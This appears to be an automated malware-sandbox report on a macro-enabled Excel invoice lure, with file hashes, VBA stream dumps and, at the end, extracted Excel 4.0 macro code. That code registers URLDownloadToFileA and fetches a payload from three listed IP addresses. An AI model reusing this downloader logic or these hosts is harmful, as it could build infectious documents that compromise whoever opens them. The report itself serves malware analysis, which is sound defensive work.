Preview: L..................F.... ........{....cUA.....cUA..o............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......R.. .OUTSTA~1.XLS..........Q.y.Q.y*...8.....................O.u.t.s.t.a.n.d.i.n.g.-.D.e.b.t.-.1.8.4.0.9.9.6.6.3.2.-.0.5.0.4.2.0.2.1...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\414408\Users.user\Desktop\Outstanding-Debt-1840996632-05042021.xlsm.@.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.O.u.t.s.t.a.n.d.i.n.g.-.D.e.b.t.-.1.8.4.0.9.9.6.6.3.2.-.0.5.0.4.2.0.2.1...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:ASCII text, with CRLF line terminators
Category:dropped
Size (bytes):163
Entropy (8bit):4.9146192032902265
Encrypted:false
SSDEEP:3:oyBVomxWhl2BbmXIVaK6lyEW92BbmXIVaK6lmxWhl2BbmXIVaK6lv:djSlz7W9z/lz1
MD5:DB95A6FA1359DAF4F297943A2BEAB29A
SHA1:751E9AA29A6E0643F992CC0F141CE7702E9DF02F
SHA-256:107DC5686C4EDC85340BAF652FBA1CEA9EDFBA9AD9DFC20AAA8708C7B0FDCA71
SHA-512:8451F8F803610E3B0ECF7D600EB568D4F1CCB5A9C60523889D1BA4D0E14280067B4D9AD676E66E7CF63A4991CB31A943492CE48CF4D60C15AAFE1EEF7A9B9D75
Malicious:false
Reputation:low
Preview: Desktop.LNK=0..[misc]..Outstanding-Debt-1840996632-05042021.LNK=0..Outstanding-Debt-1840996632-05042021.LNK=0..[misc]..Outstanding-Debt-1840996632-05042021.LNK=0..
C:\Users\user\Desktop\1EDE0000
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):117615
Entropy (8bit):7.68822730347332
Encrypted:false
SSDEEP:3072:GQPB3xrvKINbjvw548LMb/oqKO8NnS8+60Kc/:GQBmAbT648LM7D98Np+E6
MD5:43787E8CECFFC7670D93343B6F9975FE
SHA1:754C151954B52DF622943D9C7AE718F5A077C657
SHA-256:84BD9D1210B22CB9DE721AD8540F30F9C10977B20AE7B935585D8529039320F5
SHA-512:EC2DC78487B67F854F4840938CEE21AA82178B5EBF32FD10798FA856A5EDCAD21D87E2A9243D8BB75BBCFD0A6D47596FE84A95BC2214B7FB59214475FD880F0A
Malicious:false
Reputation:low
Preview: .U.n.0....?...".....r.y...I>.&..m.$H...K...$$@.zQ;.3\p..V.K.AYS..:"..a.2uE...._.....5P.5.r=..m..v...6."M..7cA4..@...+3.[.....q..5.....k".X.A&.[.......~.t2U..7...UE.sZ...Q.4..... .xi........VS..2.G.....rz.a..V....Xh..?P....rZ.....T..;..._.A.$....?.E..J.W..Sk..<or..%..h.-.-....>.k\.7Qg.re`.v........$.........5d..............4?{.:.&...,_?>?......B.-CFu....p..1.T.z..cw.!=.M-....}.....3..7...r.......;ap.7.B.e.N[...v......z..T]:........c.`.Nx....W.<..r.O........PK..........!.........*.......[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
C:\Users\user\Desktop\~$Outstanding-Debt-1840996632-05042021.xlsm
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):330
Entropy (8bit):1.4377382811115937
Encrypted:false
SSDEEP:3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:96114D75E30EBD26B572C1FC83D1D02E
SHA1:A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:true
Reputation:high, very likely benign file
Preview: .user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:Microsoft Excel 2007+
Entropy (8bit):7.688088272020875
TrID:
  • Excel Microsoft Office Open XML Format document with Macro (57504/1) 54.50%
  • Excel Microsoft Office Open XML Format document (40004/1) 37.92%
  • ZIP compressed archive (8000/1) 7.58%
File name:Outstanding-Debt-1840996632-05042021.xlsm
File size:116888
MD5:0276be45120eeb640587451db55759cb
SHA1:51424cff72ecb039f78d5005a03ec2882a96d7dd
SHA256:06c9a8f5da75ebc77f7528ceb2797050ba17cc2c7e36467b0d259d4f48dbbcbf
SHA512:588441fa0cc28dc18ff0ebc51f40ecba27012125ccedff3866b75d717e8360c19149ed75f0bf83027088e1789b4228a0f5810c94c60c06ff0d4bbb6bb1da4a2c
SSDEEP:3072:zvKINbjvw548LMb/oqKO8NnS8+60KcplBO:+AbT648LM7D98Np+EeK
File Content Preview:PK..........!."..R....*.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon

Icon Hash:e4e2aa8aa4bcbcac

Static OLE Info

General

Document Type:OpenXML
Number of OLE Files:1

OLE File "/opt/package/joesandbox/database/analysis/404162/sample/Outstanding-Debt-1840996632-05042021.xlsm"

Indicators

Has Summary Info:False
Application Name:unknown
Encrypted Document:False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:True

Summary

Author:Rabota
Last Saved By:Noped
Create Time:2015-06-05T18:19:34Z
Last Saved Time:2021-05-04T08:05:25Z
Creating Application:Microsoft Excel
Security:0

Document Summary

Thumbnail Scaling Desired:false
Company:
Contains Dirty Links:false
Shared Document:false
Changed Hyperlinks:false
Application Version:16.0300

Streams with VBA

VBA File Name: Blasr.bas, Stream Size: 1166
General
Stream Path:VBA/Blasr
VBA File Name:Blasr.bas
Stream Size:1166
Data ASCII:. . . . . . . . . z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 7a 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 81 02 00 00 fd 03 00 00 00 00 00 00 01 00 00 00 1c cc 5e 9c 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
"Blasr"
Application.Run
Attribute
Auto_Open()
VB_Name
Private
VBA Code
VBA File Name: Briks.cls, Stream Size: 990
General
Stream Path:VBA/Briks
VBA File Name:Briks.cls
Stream Size:990
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc 1e a1 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
"Briks"
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
VBA File Name: Byutut.bas, Stream Size: 1056
General
Stream Path:VBA/Byutut
VBA File Name:Byutut.bas
Stream Size:1056
Data ASCII:. . . . . . . . . R . . . . . . . . . . . . . . . Y . . . . . . . . . . . . . . . . . ; G . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 52 03 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 59 03 00 00 f5 03 00 00 00 00 00 00 01 00 00 00 1c cc 3b 47 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name
"Byutut"
VBA Code
VBA File Name: Class1.cls, Stream Size: 1151
General
Stream Path:VBA/Class1
VBA File Name:Class1.cls
Stream Size:1151
Data ASCII:. . . . . . . . . Z . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 5a 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 61 03 00 00 c5 03 00 00 00 00 00 00 01 00 00 00 1c cc a3 ac 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
VBA File Name: Class2.cls, Stream Size: 999
General
Stream Path:VBA/Class2
VBA File Name:Class2.cls
Stream Size:999
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . ~ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc 7e e9 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
VBA File Name: Class3.cls, Stream Size: 999
General
Stream Path:VBA/Class3
VBA File Name:Class3.cls
Stream Size:999
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc c8 17 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
VBA File Name: Kikide.cls, Stream Size: 1249
General
Stream Path:VBA/Kikide
VBA File Name:Kikide.cls
Stream Size:1249
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . ) . . . . . . . . . . . . . R . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 9a 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff a1 03 00 00 29 04 00 00 00 00 00 00 01 00 00 00 1c cc 52 09 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
"Kikide"
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
VBA File Name: UserForm1.frm, Stream Size: 1526
General
Stream Path:VBA/UserForm1
VBA File Name:UserForm1.frm
Stream Size:1526
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . { \\ . . B . H N . . . . . I . . . . . O < . * N . 7 { / a . . . 0 $ . . . v . K . . . . 1 . . . . . . . . . h : . . L N . . V = . 5 . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 00 01 00 00 9e 04 00 00 e4 00 00 00 84 02 00 00 ff ff ff ff a5 04 00 00 09 05 00 00 00 00 00 00 01 00 00 00 1c cc 2b 09 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 7b 5c fd e6 42 8a 48 4e aa cd df d6 fd 49 99 1c 83 98 07 4f 3c d6 2a 4e ad 37 7b 2f 61 a2 ba cd 30 24 1b a6 ea 76 1d 4b a3 81 e7 c2 31

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
VBA File Name: Vrest.bas, Stream Size: 679
General
Stream Path:VBA/Vrest
VBA File Name:Vrest.bas
Stream Size:679
Data ASCII:. . . . . . . . . " . . . . . . . . . . . . . . . ) . . . } . . . . . . . . . . . . . ' . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 22 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 29 02 00 00 7d 02 00 00 00 00 00 00 01 00 00 00 1c cc 27 ea 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
"Vrest"
VB_Name
VBA Code
VBA File Name: Vsewd.cls, Stream Size: 990
General
Stream Path:VBA/Vsewd
VBA File Name:Vsewd.cls
Stream Size:990
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc b2 ae 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"Vsewd"
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 856
General
Stream Path:PROJECT
File Type:ASCII text, with CRLF line terminators
Stream Size:856
Entropy:5.31019504221
Base64 Encoded:True
Data ASCII:I D = " { 4 4 8 1 7 C A 7 - 1 5 D A - 4 D 2 5 - B 4 C E - 4 7 0 F 9 E A 0 E 5 D F } " . . D o c u m e n t = K i k i d e / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = B r i k s / & H 0 0 0 0 0 0 0 0 . . M o d u l e = B y u t u t . . D o c u m e n t = V s e w d / & H 0 0 0 0 0 0 0 0 . . C l a s s = C l a s s 1 . . C l a s s = C l a s s 2 . . C l a s s = C l a s s 3 . . M o d u l e = B l a s r . . M o d u l e = V r e s t . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 - 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4
Data Raw:49 44 3d 22 7b 34 34 38 31 37 43 41 37 2d 31 35 44 41 2d 34 44 32 35 2d 42 34 43 45 2d 34 37 30 46 39 45 41 30 45 35 44 46 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 4b 69 6b 69 64 65 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 42 72 69 6b 73 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 42 79 75 74 75 74 0d 0a 44 6f 63 75 6d 65 6e 74 3d 56 73 65 77
Stream Path: PROJECTwm, File Type: data, Stream Size: 209
General
Stream Path:PROJECTwm
File Type:data
Stream Size:209
Entropy:3.32661660177
Base64 Encoded:False
Data ASCII:K i k i d e . K . i . k . i . d . e . . . B r i k s . B . r . i . k . s . . . B y u t u t . B . y . u . t . u . t . . . V s e w d . V . s . e . w . d . . . C l a s s 1 . C . l . a . s . s . 1 . . . C l a s s 2 . C . l . a . s . s . 2 . . . C l a s s 3 . C . l . a . s . s . 3 . . . B l a s r . B . l . a . s . r . . . V r e s t . V . r . e . s . t . . . U s e r F o r m 1 . U . s . e . r . F . o . r . m . 1 . . . . .
Data Raw:4b 69 6b 69 64 65 00 4b 00 69 00 6b 00 69 00 64 00 65 00 00 00 42 72 69 6b 73 00 42 00 72 00 69 00 6b 00 73 00 00 00 42 79 75 74 75 74 00 42 00 79 00 75 00 74 00 75 00 74 00 00 00 56 73 65 77 64 00 56 00 73 00 65 00 77 00 64 00 00 00 43 6c 61 73 73 31 00 43 00 6c 00 61 00 73 00 73 00 31 00 00 00 43 6c 61 73 73 32 00 43 00 6c 00 61 00 73 00 73 00 32 00 00 00 43 6c 61 73 73 33 00 43
Stream Path: UserForm1/\x1CompObj, File Type: data, Stream Size: 97
General
Stream Path:UserForm1/\x1CompObj
File Type:data
Stream Size:97
Entropy:3.61064918306
Base64 Encoded:False
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . . 9 . q . . . . . . . . . . . .
Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
Stream Path: UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266
General
Stream Path:UserForm1/\x3VBFrame
File Type:ASCII text, with CRLF line terminators
Stream Size:266
Entropy:4.62034133633
Base64 Encoded:True
Data ASCII:V E R S I O N 5 . 0 0 . . B e g i n { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 5 7 4 A 4 F } U s e r F o r m 1 . . C a p t i o n = " U s e r F o r m 1 " . . C l i e n t H e i g h t = 3 0 1 5 . . C l i e n t L e f t = 1 2 0 . . C l i e n t T o p = 4 6 5 . . C l i e n t W i d t h = 4 5 6 0 . . S t a r t U p P o s i t i o n = 1 ' C e n t e r O w
Data Raw:56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 73 65 72 46 6f 72 6d 31 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 68 74 20 20 20 20 3d 20
Stream Path: UserForm1/f, File Type: data, Stream Size: 38
General
Stream Path:UserForm1/f
File Type:data
Stream Size:38
Entropy:1.54052096453
Base64 Encoded:False
Data ASCII:. . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Stream Path: UserForm1/o, File Type: empty, Stream Size: 0
General
Stream Path:UserForm1/o
File Type:empty
Stream Size:0
Entropy:0.0
Base64 Encoded:False
Data ASCII:
Data Raw:
Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 4263
General
Stream Path:VBA/_VBA_PROJECT
File Type:data
Stream Size:4263
Entropy:4.38205341073
Base64 Encoded:False
Data ASCII:. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:cc 61 b2 00 00 03 00 ff 19 04 00 00 09 04 00 00 e3 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
Stream Path: VBA/dir, File Type: data, Stream Size: 1024
General
Stream Path:VBA/dir
File Type:data
Stream Size:1024
Entropy:6.73319737871
Base64 Encoded:True
Data ASCII:. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . . b . . . . . J < . . . . . r . s t d o l e > . . . s . t . d . o . . l . e . . . h . % . ^ . . * \\ G { 0 0 . 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . . E O f f D i c . E O . f . . i . . c . E . . . . . . . E . 2 D F 8 D 0 4 C . -
Data Raw:01 fc b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e3 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 be 20 84 62 0e 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Macro 4.0 Code

,,"=CONCATENATE(AG80,AH78,AG78,AG79)",,,,,,"=CONCATENATE(AG81,AH78,AG78,AG79)",,1,,,,"=CONCATENATE(AG82,AH78,AG78,AG79)",,9,,,,,,,"=ON.TIME(NOW()+""00:00:02"",""Grestes"")",,,.d,=NOW(),,,,,at,"=FORMULA(AG85&AG86&AG92,AI83)",,,,,"=""http://185.183.99.115/""",,,=HALT(),,,"=""http://51.89.73.159/""",,,,,,"=""http://190.14.37.38/""",,uRlMon,,,,,,,,,,,,JJCCBB,,,,"=""URLDo""",,Belandes,,,,"=""wnloadT""",,,,,,,=GOTO(Blodas!G6),,,,,,,..\Ladfge.VDGfwr,,,,,,,,,,,,,,,,,,,,,,"=""oFileA""",,,,
"=REGISTER(Nyukasl!AI82,Nyukasl!AI83,Nyukasl!AI84,Nyukasl!AI85,,Nyukasl!AI75,9)""=Belandes(0,Nyukasl!AG74,Nyukasl!AI88,0,0)""=IF(G12<0, Belandes(0,Nyukasl!AG75,Nyukasl!AI88,0,0))""=IF(G13<0, Belandes(0,Nyukasl!AG76,Nyukasl!AI88,0,0))""=IF(G14<0,CLOSE(0),)"=GOTO(Jioka!H4)
